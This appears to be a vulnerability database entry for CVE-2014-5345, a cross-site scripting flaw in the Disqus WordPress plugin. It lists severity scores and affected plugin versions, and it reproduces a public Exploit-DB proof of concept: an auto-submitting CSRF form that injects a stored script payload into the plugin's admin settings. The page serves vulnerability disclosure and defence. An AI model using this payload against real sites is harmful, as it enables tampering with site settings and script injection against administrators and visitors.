CVE-2014-5345

medium

Published 2014-08-19 · Modified 2026-05-06

💬 Discuss on Community ✚ Propose mitigation

CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

5.3

Description

Cross-site scripting (XSS) vulnerability in upgrade.php in the Disqus Comment System plugin before 2.76 for WordPress allows remote attackers to inject arbitrary web script or HTML via the step parameter.

Predictions

Exploit likelihood

20%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-34336 webapps php text · 1 KB

Nik Cubrilovic · 2014-08-14

WordPress Plugin Disqus 2.7.5 - Cross-Site Request Forgery (Admin Persistent) / Cross-Site Scripting

text exploit Source: Exploit-DB

<!--
Exploit for Disqus for Wordpress admin stored CSRF+XSS up to v2.7.5

Blog post explainer: https://www.nikcub.com/posts/multiple-vulnerabilities-in-disqus-wordpress-plugin/

12th August 2014

Nik Cubrilovic - www.nikcub.com

Most of these params are unfiltered/injectable. Not framable on newer Wordpress.

-->

<body onload="javascript:document.forms[0].submit()">
  

<form  action="http://wordpress.dev/wp-admin/edit-comments.php?page=disqus" method="post" class="dashboard-widget-control-form">
<h1>disqus csrf reset</h1>
<!-- Idea for you: Iframe it -->
<input name="disqus_forum_url" type="hidden" value="wordpress342222222" />
<input name="disqus_replace" type="hidden" value="all" />

<!-- <input name="disqus_partner_key" type="hidden" value="1" /> -->
<input name="disqus_cc_fix" type="hidden" value="1" />
<input name="disqus_partner_key" type="hidden" value="1" />
<input name="disqus_secret_key" type="hidden" value="1" />
<!-- Your File: <input name="disqus_sso_button" type="file" /><br /> -->
<input type="submit" value="save" />
<input name="disqus_public_key" type="hidden" value='&lt;/textarea&gt;<script>alert(1);</script><textarea>' />
</form>

Application impact

Vendor	Product	Versions
disqus	disqus_comment_system	`{"endIncluding":"2.75"}`
disqus	disqus_comment_system	`2.40`
disqus	disqus_comment_system	`2.41`
disqus	disqus_comment_system	`2.42`
disqus	disqus_comment_system	`2.43`
disqus	disqus_comment_system	`2.44`
disqus	disqus_comment_system	`2.45`
disqus	disqus_comment_system	`2.46`
disqus	disqus_comment_system	`2.47`
disqus	disqus_comment_system	`2.48`
disqus	disqus_comment_system	`2.49`
disqus	disqus_comment_system	`2.50`
disqus	disqus_comment_system	`2.51`
disqus	disqus_comment_system	`2.52`
disqus	disqus_comment_system	`2.53`
disqus	disqus_comment_system	`2.54`
disqus	disqus_comment_system	`2.55`
disqus	disqus_comment_system	`2.60`
disqus	disqus_comment_system	`2.61`
disqus	disqus_comment_system	`2.62`
disqus	disqus_comment_system	`2.63`
disqus	disqus_comment_system	`2.64`
disqus	disqus_comment_system	`2.65`
disqus	disqus_comment_system	`2.66`
disqus	disqus_comment_system	`2.67`
disqus	disqus_comment_system	`2.68`
disqus	disqus_comment_system	`2.69`
disqus	disqus_comment_system	`2.70`
disqus	disqus_comment_system	`2.71`
disqus	disqus_comment_system	`2.72`
disqus	disqus_comment_system	`2.73`
disqus	disqus_comment_system	`2.74`

References

CWEs

CWE-79

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.